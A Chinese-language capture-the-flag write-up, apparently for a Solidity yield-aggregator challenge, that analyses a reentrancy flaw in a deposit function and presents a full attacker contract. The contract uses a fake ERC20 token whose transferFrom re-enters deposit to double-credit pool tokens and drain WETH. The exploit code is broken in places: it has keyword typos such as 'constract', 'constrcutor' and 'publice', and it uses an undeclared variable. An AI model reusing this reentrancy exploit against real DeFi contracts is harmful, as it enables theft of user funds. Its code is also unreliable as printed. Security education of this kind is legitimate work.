本题目是比较经典的重进入,本文尝试用Samczsun提出的四步法来解答该题目。即找到外部调用,判断外部调用是否可以被利用,是否满足三种外部调用模式,尝试利用它。
本题目是比较经典的重进入,本文尝试用Samczsun提出的四步法来解答该题目。即找到外部调用,判断外部调用是否可以被利用,是否满足三种外部调用模式,尝试利用它。
当然欢迎加我的微信woodward1993或者关注我的公众号,公众号名字是bug合约写手,最近公众号涨粉有点慢:)
为什么外部调用前写数据是一种可被利用的外部调用模式呢?因为函数内部的外部调用与在函数外调用的区别在于合约的执行流程会转移到外部调用上,即目标合约的执行流程会由外部调用函数控制。如果不调用目标合约的该函数,则不会发生写数据的事件。如果一个外部调用前写数据,则可以通过外部调用再去调用目标合约的函数,就可以反复写入数据。
如果一个函数存在着在外部调用后读取数据的逻辑,则首先判断下外部调用是否可以影响后面读取的数据的值,如果可以通过外部调用影响外部调用后的读取的值,则我们可以再外部调用中,尝试先去改变该值的状态。
这是经典的重进入问题,检查-调用-生效模式导致的重进入。外部调用前读数据,通常是做一些检查,调用后再写数据,通常是更新系统的状态。由于外部调用执行时,肯定已经通过了前方的检查,故此时的外部调用可以再重进入该方法,绕过检查,从而实现重进入。
查看setup合约,可以看到, 成功的条件是bank合约的WETH余额为0,聚合器合约aggretor的WETH余额为0
function isSolved() public view returns (bool) {
return weth.balanceOf(address(aggregator)) == 0 &&
weth.balanceOf(address(bank)) == 0;
}
最近看到好多合约都是有For循环的重进入,本题也不例外。
function deposit(Protocol protocol, address[] memory tokens, uint256[] memory amounts) public {
uint256 balanceBefore = protocol.balanceUnderlying();
for (uint256 i= 0; i < tokens.length; i++) {
address token = tokens[i];
uint256 amount = amounts[i];
ERC20Like(token).transferFrom(msg.sender, address(this), amount);
ERC20Like(token).approve(address(protocol), 0);
ERC20Like(token).approve(address(protocol), amount);
// reset approval for failed mints
try protocol.mint(amount) { } catch {
ERC20Like(token).approve(address(protocol), 0);
}
}
uint256 balanceAfter = protocol.balanceUnderlying();
uint256 diff = balanceAfter - balanceBefore;
poolTokens[msg.sender] += diff;
}
本题目中的外部调用是很明显的:
ERC20Like(token).transferFrom(msg.sender, address(this), amount);
ERC20Like(token).approve(address(protocol), amount);
从deposit的逻辑可以看到,token的地址是由用户提供,且其并未验证token地址的合法性。故我们可以自己构造一个ERC20Like的合约地址,自己实现transferFrom方法,从而该外部调用可以被利用
可以看到在外部调用ERC20Like(token).transferFrom
后面有balanceAfter,即存在外部调用后读数据这一可利用模式。
使用balanceBefore和balanceAfter这种快照模式来计算用户存入金额有如下两个好处:
从上面的分析可以看到,外部调用ERC20Like(token).transferFrom
后,合约会去读protocol.balanceUderlying()
。首先第一个想法自然是:在外部调用中是否能够存在一个逻辑来影响protocol.balanceUnderlying()
的值。
ERC20Like public override underlying = ERC20Like(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);//WETH
function balanceUnderlying() public override view returns (uint256) {
return underlying.balanceOf(address(this));
}
从protocol.balanceUnderlying()
的代码逻辑可以看到:如果我在transferFrom这一个外部调用中,向protocol合约地址存入WETH,则我可以在外部调用中影响balanceAfter的值。但是仅仅是向protocol合约转账WETH显然不是我的目标。如果我的这笔WETH转账能给我带来相应的积分就会很好,这样我就既影响了balanceAfter的值,又得到应得的积分。
ERC20Like public override WETH = ERC20Like(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);//WETH
bool reentryAllowed = true;
function transferFrom(address src,address dst,uint256 qty) external returns (bool){
if (reentryAllowed) {
reentryAllowed = false;
uint amount = x;
WETH.approve(address(MiniBank), amount);
MiniBank.mint(amount);
}
return true;
}
function mint(uint256 amount) public override {
require(underlying.transferFrom(msg.sender, address(this), amount));
balanceOf[msg.sender] += amount;
totalSupply += amount;
}
这样做的问题是什么? 首先要分析下此时的合约执行流程:
deposit -> transferFrom -> mint(in transferFrom) -> mint(in deposit)
即合约执行了两次mint,但是每次mint都在mint函数内部扣除了对应的WETH,作为攻击者的我并没有占到便宜。
ERC20Like public override WETH = ERC20Like(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);//WETH
bool reentryAllowed = true;
function transferFrom(address src,address dst,uint256 qty) external returns (bool){
if (reentryAllowed) {
reentryAllowed = false;
uint amount = x;
address[] memory tokens = new address[](1);
tokens[0] = WETH;
uint[] memory amounts = new uint[](1);
amounts[0] = x;
deposit(protocol, tokens, amounts);
}
return true;
}
则此时的合约执行流程变为:
deposit(fakeToken) -> fakeToken.transferFrom -> deposit(WETH) -> mint(WETH) -> poolTokens += diff -> mint(fakeToken) -> poolTokens+= diff
这个执行流程能够成功的原因是:
mint(fakeToken)
报错后,在上层deposit
中并没有及时抛出,而是执行了一个try,catch
try protocol.mint(amount) { } catch {
ERC20Like(token).approve(address(protocol), 0);
}
这样就可以通过重进入的方式获得多一倍的账户积分。
pragma solidity 0.8.0;
import "./Setup.sol";
interface ERC20Like {
function transfer(address dst, uint256 qty) external returns (bool);
function transferFrom(
address src,
address dst,
uint256 qty
) external returns (bool);
function balanceOf(address who) external view returns (uint256);
function approve(address guy, uint256 wad) external returns (bool);
}
constract Exploit is ERC20Like{
ERC20Like public WETH = ERC20Like(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
Setup public setup;
YieldAggregator public aggregator;
MiniBank public bank;
constrcutor(address _setup) publice payable {
require(msg.value == 50 ether, "Exploit/contractor ETH value should be 50 ether");
setup = Setup(_setup);
aggregator = setup.aggregator();
bank = setup.bank();
address[] memory tokens = new address[](1);
uint256[] memory amounts = new uint256[](1);
tokens[0] = address(this);
amounts[0] = 50 ether;
aggregator.deposit(bank,tokens,amounts);
address[] memory tokens_withdraw = new address[](1);
uint256[] memory amounts_withdraw = new uint256[](1);
tokens_withdraw[0] = address(WETH);
amounts_withdraw[0] = 100 ether;
aggregator.withdraw(bank,tokens_withdraw,amounts_withdraw);
}
function transferFrom(address src,address dst,uint256 qty) external returns (bool){
if (reentryAllowed) {
reentryAllowed = false;
uint amount = 50 ether;
address[] memory tokens = new address[](1);
tokens[0] = WETH;
uint[] memory amounts = new uint[](1);
amounts[0] = amount;
aggregator.deposit(bank, tokens, amounts);
}
return true;
}
function balanceOf(address who) external view returns (uint256) {
return WETH.balanceOf(address(this));
}
function approve(address guy, uint256 wad) external returns (bool) {
return true;
}
function transfer(address dst, uint256 qty) external returns (bool) {
return true;
}
}
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!